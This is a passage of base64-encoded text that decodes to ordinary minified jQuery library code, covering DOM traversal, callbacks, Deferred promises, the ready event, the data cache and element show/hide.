dPWUsdGhpcy5sZW5ndGg9MSx0aGlzKTptKGUpP3ZvaWQgMCE9PW4ucmVhZHk/bi5yZWFkeShlKTplKFMpOlMubWFrZUFycmF5KGUsdGhpcyl9KS5wcm90b3R5cGU9Uy5mbixEPVMoRSk7dmFyIEw9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sSD17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtmdW5jdGlvbiBPKGUsdCl7d2hpbGUoKGU9ZVt0XSkmJjEhPT1lLm5vZGVUeXBlKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7aGFzOmZ1bmN0aW9uKGUpe3ZhciB0PVMoZSx0aGlzKSxuPXQubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2Zvcih2YXIgZT0wO2U8bjtlKyspaWYoUy5jb250YWlucyh0aGlzLHRbZV0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10aGlzLmxlbmd0aCxvPVtdLGE9InN0cmluZyIhPXR5cGVvZiBlJiZTKGUpO2lmKCFrLnRlc3QoZSkpZm9yKDtyPGk7cisrKWZvcihuPXRoaXNbcl07biYmbiE9PXQ7bj1uLnBhcmVudE5vZGUpaWYobi5ub2RlVHlwZTwxMSYmKGE/LTE8YS5pbmRleChuKToxPT09bi5ub2RlVHlwZSYmUy5maW5kLm1hdGNoZXNTZWxlY3RvcihuLGUpKSl7by5wdXNoKG4pO2JyZWFrfXJldHVybiB0aGlzLnB1c2hTdGFjaygxPG8ubGVuZ3RoP1MudW5pcXVlU29ydChvKTpvKX0saW5kZXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/InN0cmluZyI9PXR5cGVvZiBlP2kuY2FsbChTKGUpLHRoaXNbMF0pOmkuY2FsbCh0aGlzLGUuanF1ZXJ5P2VbMF06ZSk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soUy51bmlxdWVTb3J0KFMubWVyZ2UodGhpcy5nZXQoKSxTKGUsdCkpKSl9LGFkZEJhY2s6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuYWRkKG51bGw9PWU/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoZSkpfX0pLFMuZWFjaCh7cGFyZW50OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmMTEhPT10Lm5vZGVUeXBlP3Q6bnVsbH0scGFyZW50czpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIGgoZSwicGFyZW50Tm9kZSIsbil9LG5leHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIE8oZSwibmV4dFNpYmxpbmciKX0scHJldjpmdW5jdGlvbihlKXtyZXR1cm4gTyhlLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGUpe3JldHVybiBoKGUsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBoKGUsIm5leHRTaWJsaW5nIixuKX0scHJldlVudGlsOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gaChlLCJwcmV2aW91c1NpYmxpbmciLG4pfSxzaWJsaW5nczpmdW5jdGlvbihlKXtyZXR1cm4gVCgoZS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxlKX0sY2hpbGRyZW46ZnVuY3Rpb24oZSl7cmV0dXJuIFQoZS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWUuY29udGVudERvY3VtZW50JiZyKGUuY29udGVudERvY3VtZW50KT9lLmNvbnRlbnREb2N1bWVudDooQShlLCJ0ZW1wbGF0ZSIpJiYoZT1lLmNvbnRlbnR8fGUpLFMubWVyZ2UoW10sZS5jaGlsZE5vZGVzKSl9fSxmdW5jdGlvbihyLGkpe1MuZm5bcl09ZnVuY3Rpb24oZSx0KXt2YXIgbj1TLm1hcCh0aGlzLGksZSk7cmV0dXJuIlVudGlsIiE9PXIuc2xpY2UoLTUpJiYodD1lKSx0JiYic3RyaW5nIj09dHlwZW9mIHQmJihuPVMuZmlsdGVyKHQsbikpLDE8dGhpcy5sZW5ndGgmJihIW3JdfHxTLnVuaXF1ZVNvcnQobiksTC50ZXN0KHIpJiZuLnJldmVyc2UoKSksdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIFA9L1teXHgyMFx0XHJcblxmXSsvZztmdW5jdGlvbiBSKGUpe3JldHVybiBlfWZ1bmN0aW9uIE0oZSl7dGhyb3cgZX1mdW5jdGlvbiBJKGUsdCxuLHIpe3ZhciBpO3RyeXtlJiZtKGk9ZS5wcm9taXNlKT9pLmNhbGwoZSkuZG9uZSh0KS5mYWlsKG4pOmUmJm0oaT1lLnRoZW4pP2kuY2FsbChlLHQsbik6dC5hcHBseSh2b2lkIDAsW2VdLnNsaWNlKHIpKX1jYXRjaChlKXtuLmFwcGx5KHZvaWQgMCxbZV0pfX1TLkNhbGxiYWNrcz1mdW5jdGlvbihyKXt2YXIgZSxuO3I9InN0cmluZyI9PXR5cGVvZiByPyhlPXIsbj17fSxTLmVhY2goZS5tYXRjaChQKXx8W10sZnVuY3Rpb24oZSx0KXtuW3RdPSEwfSksbik6Uy5leHRlbmQoe30scik7dmFyIGksdCxvLGEscz1bXSx1PVtdLGw9LTEsYz1mdW5jdGlvbigpe2ZvcihhPWF8fHIub25jZSxvPWk9ITA7dS5sZW5ndGg7bD0tMSl7dD11LnNoaWZ0KCk7d2hpbGUoKytsPHMubGVuZ3RoKSExPT09c1tsXS5hcHBseSh0WzBdLHRbMV0pJiZyLnN0b3BPbkZhbHNlJiYobD1zLmxlbmd0aCx0PSExKX1yLm1lbW9yeXx8KHQ9ITEpLGk9ITEsYSYmKHM9dD9bXToiIil9LGY9e2FkZDpmdW5jdGlvbigpe3JldHVybiBzJiYodCYmIWkmJihsPXMubGVuZ3RoLTEsdS5wdXNoKHQpKSxmdW5jdGlvbiBuKGUpe1MuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bSh0KT9yLnVuaXF1ZSYmZi5oYXModCl8fHMucHVzaCh0KTp0JiZ0Lmxlbmd0aCYmInN0cmluZyIhPT13KHQpJiZuKHQpfSl9KGFyZ3VtZW50cyksdCYmIWkmJmMoKSksdGhpc30scmVtb3ZlOmZ1bmN0aW9uKCl7cmV0dXJuIFMuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSx0KXt2YXIgbjt3aGlsZSgtMTwobj1TLmluQXJyYXkodCxzLG4pKSlzLnNwbGljZShuLDEpLG48PWwmJmwtLX0pLHRoaXN9LGhhczpmdW5jdGlvbihlKXtyZXR1cm4gZT8tMTxTLmluQXJyYXkoZSxzKTowPHMubGVuZ3RofSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiBzJiYocz1bXSksdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBhPXU9W10scz10PSIiLHRoaXN9LGRpc2FibGVkOmZ1bmN0aW9uKCl7cmV0dXJuIXN9LGxvY2s6ZnVuY3Rpb24oKXtyZXR1cm4gYT11PVtdLHR8fGl8fChzPXQ9IiIpLHRoaXN9LGxvY2tlZDpmdW5jdGlvbigpe3JldHVybiEhYX0sZmlyZVdpdGg6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gYXx8KHQ9W2UsKHQ9dHx8W10pLnNsaWNlP3Quc2xpY2UoKTp0XSx1LnB1c2godCksaXx8YygpKSx0aGlzfSxmaXJlOmZ1bmN0aW9uKCl7cmV0dXJuIGYuZmlyZVdpdGgodGhpcyxhcmd1bWVudHMpLHRoaXN9LGZpcmVkOmZ1bmN0aW9uKCl7cmV0dXJuISFvfX07cmV0dXJuIGZ9LFMuZXh0ZW5kKHtEZWZlcnJlZDpmdW5jdGlvbihlKXt2YXIgbz1bWyJub3RpZnkiLCJwcm9ncmVzcyIsUy5DYWxsYmFja3MoIm1lbW9yeSIpLFMuQ2FsbGJhY2tzKCJtZW1vcnkiKSwyXSxbInJlc29sdmUiLCJkb25lIixTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwwLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksMSwicmVqZWN0ZWQiXV0saT0icGVuZGluZyIsYT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaX0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIHMuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSwiY2F0Y2giOmZ1bmN0aW9uKGUpe3JldHVybiBhLnRoZW4obnVsbCxlKX0scGlwZTpmdW5jdGlvbigpe3ZhciBpPWFyZ3VtZW50cztyZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihyKXtTLmVhY2gobyxmdW5jdGlvbihlLHQpe3ZhciBuPW0oaVt0WzRdXSkmJmlbdFs0XV07c1t0WzFdXShmdW5jdGlvbigpe3ZhciBlPW4mJm4uYXBwbHkodGhpcyxhcmd1bWVudHMpO2UmJm0oZS5wcm9taXNlKT9lLnByb21pc2UoKS5wcm9ncmVzcyhyLm5vdGlmeSkuZG9uZShyLnJlc29sdmUpLmZhaWwoci5yZWplY3QpOnJbdFswXSsiV2l0aCJdKHRoaXMsbj9bZV06YXJndW1lbnRzKX0pfSksaT1udWxsfSkucHJvbWlzZSgpfSx0aGVuOmZ1bmN0aW9uKHQsbixyKXt2YXIgdT0wO2Z1bmN0aW9uIGwoaSxvLGEscyl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIG49dGhpcyxyPWFyZ3VtZW50cyxlPWZ1bmN0aW9uKCl7dmFyIGUsdDtpZighKGk8dSkpe2lmKChlPWEuYXBwbHkobixyKSk9PT1vLnByb21pc2UoKSl0aHJvdyBuZXcgVHlwZUVycm9yKCJUaGVuYWJsZSBzZWxmLXJlc29sdXRpb24iKTt0PWUmJigib2JqZWN0Ij09dHlwZW9mIGV8fCJmdW5jdGlvbiI9PXR5cGVvZiBlKSYmZS50aGVuLG0odCk/cz90LmNhbGwoZSxsKHUsbyxSLHMpLGwodSxvLE0scykpOih1KyssdC5jYWxsKGUsbCh1LG8sUixzKSxsKHUsbyxNLHMpLGwodSxvLFIsby5ub3RpZnlXaXRoKSkpOihhIT09UiYmKG49dm9pZCAwLHI9W2VdKSwoc3x8by5yZXNvbHZlV2l0aCkobixyKSl9fSx0PXM/ZTpmdW5jdGlvbigpe3RyeXtlKCl9Y2F0Y2goZSl7Uy5EZWZlcnJlZC5leGNlcHRpb25Ib29rJiZTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2soZSx0LnN0YWNrVHJhY2UpLHU8PWkrMSYmKGEhPT1NJiYobj12b2lkIDAscj1bZV0pLG8ucmVqZWN0V2l0aChuLHIpKX19O2k/dCgpOihTLkRlZmVycmVkLmdldFN0YWNrSG9vayYmKHQuc3RhY2tUcmFjZT1TLkRlZmVycmVkLmdldFN0YWNrSG9vaygpKSxDLnNldFRpbWVvdXQodCkpfX1yZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihlKXtvWzBdWzNdLmFkZChsKDAsZSxtKHIpP3I6UixlLm5vdGlmeVdpdGgpKSxvWzFdWzNdLmFkZChsKDAsZSxtKHQpP3Q6UikpLG9bMl1bM10uYWRkKGwoMCxlLG0obik/bjpNKSl9KS5wcm9taXNlKCl9LHByb21pc2U6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWU/Uy5leHRlbmQoZSxhKTphfX0scz17fTtyZXR1cm4gUy5lYWNoKG8sZnVuY3Rpb24oZSx0KXt2YXIgbj10WzJdLHI9dFs1XTthW3RbMV1dPW4uYWRkLHImJm4uYWRkKGZ1bmN0aW9uKCl7aT1yfSxvWzMtZV1bMl0uZGlzYWJsZSxvWzMtZV1bM10uZGlzYWJsZSxvWzBdWzJdLmxvY2ssb1swXVszXS5sb2NrKSxuLmFkZCh0WzNdLmZpcmUpLHNbdFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gc1t0WzBdKyJXaXRoIl0odGhpcz09PXM/dm9pZCAwOnRoaXMsYXJndW1lbnRzKSx0aGlzfSxzW3RbMF0rIldpdGgiXT1uLmZpcmVXaXRofSksYS5wcm9taXNlKHMpLGUmJmUuY2FsbChzLHMpLHN9LHdoZW46ZnVuY3Rpb24oZSl7dmFyIG49YXJndW1lbnRzLmxlbmd0aCx0PW4scj1BcnJheSh0KSxpPXMuY2FsbChhcmd1bWVudHMpLG89Uy5EZWZlcnJlZCgpLGE9ZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JbdF09dGhpcyxpW3RdPTE8YXJndW1lbnRzLmxlbmd0aD9zLmNhbGwoYXJndW1lbnRzKTplLC0tbnx8by5yZXNvbHZlV2l0aChyLGkpfX07aWYobjw9MSYmKEkoZSxvLmRvbmUoYSh0KSkucmVzb2x2ZSxvLnJlamVjdCwhbiksInBlbmRpbmciPT09by5zdGF0ZSgpfHxtKGlbdF0mJmlbdF0udGhlbikpKXJldHVybiBvLnRoZW4oKTt3aGlsZSh0LS0pSShpW3RdLGEodCksby5yZWplY3QpO3JldHVybiBvLnByb21pc2UoKX19KTt2YXIgVz0vXihFdmFsfEludGVybmFsfFJhbmdlfFJlZmVyZW5jZXxTeW50YXh8VHlwZXxVUkkpRXJyb3IkLztTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2s9ZnVuY3Rpb24oZSx0KXtDLmNvbnNvbGUmJkMuY29uc29sZS53YXJuJiZlJiZXLnRlc3QoZS5uYW1lKSYmQy5jb25zb2xlLndhcm4oImpRdWVyeS5EZWZlcnJlZCBleGNlcHRpb246ICIrZS5tZXNzYWdlLGUuc3RhY2ssdCl9LFMucmVhZHlFeGNlcHRpb249ZnVuY3Rpb24oZSl7Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dGhyb3cgZX0pfTt2YXIgRj1TLkRlZmVycmVkKCk7ZnVuY3Rpb24gJCgpe0UucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsJCksQy5yZW1vdmVFdmVudExpc3RlbmVyKCJsb2FkIiwkKSxTLnJlYWR5KCl9Uy5mbi5yZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4gRi50aGVuKGUpWyJjYXRjaCJdKGZ1bmN0aW9uKGUpe1MucmVhZHlFeGNlcHRpb24oZSl9KSx0aGlzfSxTLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxyZWFkeTpmdW5jdGlvbihlKXsoITA9PT1lPy0tUy5yZWFkeVdhaXQ6Uy5pc1JlYWR5KXx8KFMuaXNSZWFkeT0hMCkhPT1lJiYwPC0tUy5yZWFkeVdhaXR8fEYucmVzb2x2ZVdpdGgoRSxbU10pfX0pLFMucmVhZHkudGhlbj1GLnRoZW4sImNvbXBsZXRlIj09PUUucmVhZHlTdGF0ZXx8ImxvYWRpbmciIT09RS5yZWFkeVN0YXRlJiYhRS5kb2N1bWVudEVsZW1lbnQuZG9TY3JvbGw/Qy5zZXRUaW1lb3V0KFMucmVhZHkpOihFLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCQpLEMuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsJCkpO3ZhciBCPWZ1bmN0aW9uKGUsdCxuLHIsaSxvLGEpe3ZhciBzPTAsdT1lLmxlbmd0aCxsPW51bGw9PW47aWYoIm9iamVjdCI9PT13KG4pKWZvcihzIGluIGk9ITAsbilCKGUsdCxzLG5bc10sITAsbyxhKTtlbHNlIGlmKHZvaWQgMCE9PXImJihpPSEwLG0ocil8fChhPSEwKSxsJiYoYT8odC5jYWxsKGUsciksdD1udWxsKToobD10LHQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBsLmNhbGwoUyhlKSxuKX0pKSx0KSlmb3IoO3M8dTtzKyspdChlW3NdLG4sYT9yOnIuY2FsbChlW3NdLHMsdChlW3NdLG4pKSk7cmV0dXJuIGk/ZTpsP3QuY2FsbChlKTp1P3QoZVswXSxuKTpvfSxfPS9eLW1zLS8sej0vLShbYS16XSkvZztmdW5jdGlvbiBVKGUsdCl7cmV0dXJuIHQudG9VcHBlckNhc2UoKX1mdW5jdGlvbiBYKGUpe3JldHVybiBlLnJlcGxhY2UoXywibXMtIikucmVwbGFjZSh6LFUpfXZhciBWPWZ1bmN0aW9uKGUpe3JldHVybiAxPT09ZS5ub2RlVHlwZXx8OT09PWUubm9kZVR5cGV8fCErZS5ub2RlVHlwZX07ZnVuY3Rpb24gRygpe3RoaXMuZXhwYW5kbz1TLmV4cGFuZG8rRy51aWQrK31HLnVpZD0xLEcucHJvdG90eXBlPXtjYWNoZTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHR8fCh0PXt9LFYoZSkmJihlLm5vZGVUeXBlP2VbdGhpcy5leHBhbmRvXT10Ok9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHRoaXMuZXhwYW5kbyx7dmFsdWU6dCxjb25maWd1cmFibGU6ITB9KSkpLHR9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT10aGlzLmNhY2hlKGUpO2lmKCJzdHJpbmciPT10eXBlb2YgdClpW1godCldPW47ZWxzZSBmb3IociBpbiB0KWlbWChyKV09dFtyXTtyZXR1cm4gaX0sZ2V0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHZvaWQgMD09PXQ/dGhpcy5jYWNoZShlKTplW3RoaXMuZXhwYW5kb10mJmVbdGhpcy5leHBhbmRvXVtYKHQpXX0sYWNjZXNzOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdm9pZCAwPT09dHx8dCYmInN0cmluZyI9PXR5cGVvZiB0JiZ2b2lkIDA9PT1uP3RoaXMuZ2V0KGUsdCk6KHRoaXMuc2V0KGUsdCxuKSx2b2lkIDAhPT1uP246dCl9LHJlbW92ZTpmdW5jdGlvbihlLHQpe3ZhciBuLHI9ZVt0aGlzLmV4cGFuZG9dO2lmKHZvaWQgMCE9PXIpe2lmKHZvaWQgMCE9PXQpe249KHQ9QXJyYXkuaXNBcnJheSh0KT90Lm1hcChYKToodD1YKHQpKWluIHI/W3RdOnQubWF0Y2goUCl8fFtdKS5sZW5ndGg7d2hpbGUobi0tKWRlbGV0ZSByW3Rbbl1dfSh2b2lkIDA9PT10fHxTLmlzRW1wdHlPYmplY3QocikpJiYoZS5ub2RlVHlwZT9lW3RoaXMuZXhwYW5kb109dm9pZCAwOmRlbGV0ZSBlW3RoaXMuZXhwYW5kb10pfX0saGFzRGF0YTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHZvaWQgMCE9PXQmJiFTLmlzRW1wdHlPYmplY3QodCl9fTt2YXIgWT1uZXcgRyxRPW5ldyBHLEo9L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxLPS9bQS1aXS9nO2Z1bmN0aW9uIFooZSx0LG4pe3ZhciByLGk7aWYodm9pZCAwPT09biYmMT09PWUubm9kZVR5cGUpaWYocj0iZGF0YS0iK3QucmVwbGFjZShLLCItJCYiKS50b0xvd2VyQ2FzZSgpLCJzdHJpbmciPT10eXBlb2Yobj1lLmdldEF0dHJpYnV0ZShyKSkpe3RyeXtuPSJ0cnVlIj09PShpPW4pfHwiZmFsc2UiIT09aSYmKCJudWxsIj09PWk/bnVsbDppPT09K2krIiI/K2k6Si50ZXN0KGkpP0pTT04ucGFyc2UoaSk6aSl9Y2F0Y2goZSl7fVEuc2V0KGUsdCxuKX1lbHNlIG49dm9pZCAwO3JldHVybiBufVMuZXh0ZW5kKHtoYXNEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiBRLmhhc0RhdGEoZSl8fFkuaGFzRGF0YShlKX0sZGF0YTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFEuYWNjZXNzKGUsdCxuKX0scmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1EucmVtb3ZlKGUsdCl9LF9kYXRhOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gWS5hY2Nlc3MoZSx0LG4pfSxfcmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1kucmVtb3ZlKGUsdCl9fSksUy5mbi5leHRlbmQoe2RhdGE6ZnVuY3Rpb24obixlKXt2YXIgdCxyLGksbz10aGlzWzBdLGE9byYmby5hdHRyaWJ1dGVzO2lmKHZvaWQgMD09PW4pe2lmKHRoaXMubGVuZ3RoJiYoaT1RLmdldChvKSwxPT09by5ub2RlVHlwZSYmIVkuZ2V0KG8sImhhc0RhdGFBdHRycyIpKSl7dD1hLmxlbmd0aDt3aGlsZSh0LS0pYVt0XSYmMD09PShyPWFbdF0ubmFtZSkuaW5kZXhPZigiZGF0YS0iKSYmKHI9WChyLnNsaWNlKDUpKSxaKG8scixpW3JdKSk7WS5zZXQobywiaGFzRGF0YUF0dHJzIiwhMCl9cmV0dXJuIGl9cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBuP3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbil9KTpCKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ7aWYobyYmdm9pZCAwPT09ZSlyZXR1cm4gdm9pZCAwIT09KHQ9US5nZXQobyxuKSk/dDp2b2lkIDAhPT0odD1aKG8sbikpP3Q6dm9pZCAwO3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbixlKX0pfSxudWxsLGUsMTxhcmd1bWVudHMubGVuZ3RoLG51bGwsITApfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtRLnJlbW92ZSh0aGlzLGUpfSl9fSksUy5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlKXJldHVybiB0PSh0fHwiZngiKSsicXVldWUiLHI9WS5nZXQoZSx0KSxuJiYoIXJ8fEFycmF5LmlzQXJyYXkobik/cj1ZLmFjY2VzcyhlLHQsUy5tYWtlQXJyYXkobikpOnIucHVzaChuKSkscnx8W119LGRlcXVldWU6ZnVuY3Rpb24oZSx0KXt0PXR8fCJmeCI7dmFyIG49Uy5xdWV1ZShlLHQpLHI9bi5sZW5ndGgsaT1uLnNoaWZ0KCksbz1TLl9xdWV1ZUhvb2tzKGUsdCk7ImlucHJvZ3Jlc3MiPT09aSYmKGk9bi5zaGlmdCgpLHItLSksaSYmKCJmeCI9PT10JiZuLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgby5zdG9wLGkuY2FsbChlLGZ1bmN0aW9uKCl7Uy5kZXF1ZXVlKGUsdCl9LG8pKSwhciYmbyYmby5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGUsdCl7dmFyIG49dCsicXVldWVIb29rcyI7cmV0dXJuIFkuZ2V0KGUsbil8fFkuYWNjZXNzKGUsbix7ZW1wdHk6Uy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7WS5yZW1vdmUoZSxbdCsicXVldWUiLG5dKX0pfSl9fSksUy5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKHQsbil7dmFyIGU9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIHQmJihuPXQsdD0iZngiLGUtLSksYXJndW1lbnRzLmxlbmd0aDxlP1MucXVldWUodGhpc1swXSx0KTp2b2lkIDA9PT1uP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9Uy5xdWV1ZSh0aGlzLHQsbik7Uy5fcXVldWVIb29rcyh0aGlzLHQpLCJmeCI9PT10JiYiaW5wcm9ncmVzcyIhPT1lWzBdJiZTLmRlcXVldWUodGhpcyx0KX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtTLmRlcXVldWUodGhpcyxlKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnF1ZXVlKGV8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0xLGk9Uy5EZWZlcnJlZCgpLG89dGhpcyxhPXRoaXMubGVuZ3RoLHM9ZnVuY3Rpb24oKXstLXJ8fGkucmVzb2x2ZVdpdGgobyxbb10pfTsic3RyaW5nIiE9dHlwZW9mIGUmJih0PWUsZT12b2lkIDApLGU9ZXx8ImZ4Ijt3aGlsZShhLS0pKG49WS5nZXQob1thXSxlKyJxdWV1ZUhvb2tzIikpJiZuLmVtcHR5JiYocisrLG4uZW1wdHkuYWRkKHMpKTtyZXR1cm4gcygpLGkucHJvbWlzZSh0KX19KTt2YXIgZWU9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsdGU9bmV3IFJlZ0V4cCgiXig/OihbKy1dKT18KSgiK2VlKyIpKFthLXolXSopJCIsImkiKSxuZT1bIlRvcCIsIlJpZ2h0IiwiQm90dG9tIiwiTGVmdCJdLHJlPUUuZG9jdW1lbnRFbGVtZW50LGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKX0sb2U9e2NvbXBvc2VkOiEwfTtyZS5nZXRSb290Tm9kZSYmKGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKXx8ZS5nZXRSb290Tm9kZShvZSk9PT1lLm93bmVyRG9jdW1lbnR9KTt2YXIgYWU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4ibm9uZSI9PT0oZT10fHxlKS5zdHlsZS5kaXNwbGF5fHwiIj09PWUuc3R5bGUuZGlzcGxheSYmaWUoZSkmJiJub25lIj09PVMuY3NzKGUsImRpc3BsYXkiKX07ZnVuY3Rpb24gc2UoZSx0LG4scil7dmFyIGksbyxhPTIwLHM9cj9mdW5jdGlvbigpe3JldHVybiByLmN1cigpfTpmdW5jdGlvbigpe3JldHVybiBTLmNzcyhlLHQsIiIpfSx1PXMoKSxsPW4mJm5bM118fChTLmNzc051bWJlclt0XT8iIjoicHgiKSxjPWUubm9kZVR5cGUmJihTLmNzc051bWJlclt0XXx8InB4IiE9PWwmJit1KSYmdGUuZXhlYyhTLmNzcyhlLHQpKTtpZihjJiZjWzNdIT09bCl7dS89MixsPWx8fGNbM10sYz0rdXx8MTt3aGlsZShhLS0pUy5zdHlsZShlLHQsYytsKSwoMS1vKSooMS0obz1zKCkvdXx8LjUpKTw9MCYmKGE9MCksYy89bztjKj0yLFMuc3R5bGUoZSx0LGMrbCksbj1ufHxbXX1yZXR1cm4gbiYmKGM9K2N8fCt1fHwwLGk9blsxXT9jKyhuWzFdKzEpKm5bMl06K25bMl0sciYmKHIudW5pdD1sLHIuc3RhcnQ9YyxyLmVuZD1pKSksaX12YXIgdWU9e307ZnVuY3Rpb24gbGUoZSx0KXtmb3IodmFyIG4scixpLG8sYSxzLHUsbD1bXSxjPTAsZj1lLmxlbmd0aDtjPGY7YysrKShyPWVbY10pLnN0eWxlJiYobj1yLnN0eWxlLmRpc3BsYXksdD8oIm5vbmUiPT09biYmKGxbY109WS5nZXQociwiZGlzcGxheSIpfHxudWxsLGxbY118fChyLnN0eWxlLmRpc3BsYXk9IiIpKSwiIj09PXIuc3R5bGUuZGlzcGxheSYmYWUocikmJihsW2NdPSh1PWE9bz12b2lkIDAsYT0oaT1yKS5vd25lckRvY3VtZW50LHM9aS5ub2RlTmFtZSwodT11ZVtzXSl8fChvPWEuYm9keS5hcHBlbmRDaGlsZChhLmNyZWF0ZUVsZW1lbnQocykpLHU9Uy5jc3MobywiZGlzcGxheSIpLG8ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKSwibm9uZSI9PT11JiYodT0iYmxvY2siKSx1ZVtzXT11KSkpKToibm9uZSIhPT1uJiYobFtjXT0ibm9uZSIsWS5zZXQociwiZGlzcGxheSIsbikpKTtmb3IoYz0wO2M8ZjtjKyspbnVsbCE9bFtjXSYmKGVbY10uc3R5bGUuZGlzcGxheT1sW2NdKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7c2hvdzpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzLCEwKX0saGlkZTpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzKX0sdG9nZ2xlOmZ1bmN0aW9uKGUpe3JldHVybiJib29sZWFuIj09dHlwZW9mIGU/ZT90aGlzLnNob3coKTp0aGlzLmhpZGUoKTp0aGlzLmVhY2goZnVuY3Rpb24oKXthZSh0aGlzKT9TKHRoaXMpLnNob3coKTpTKHRoaXM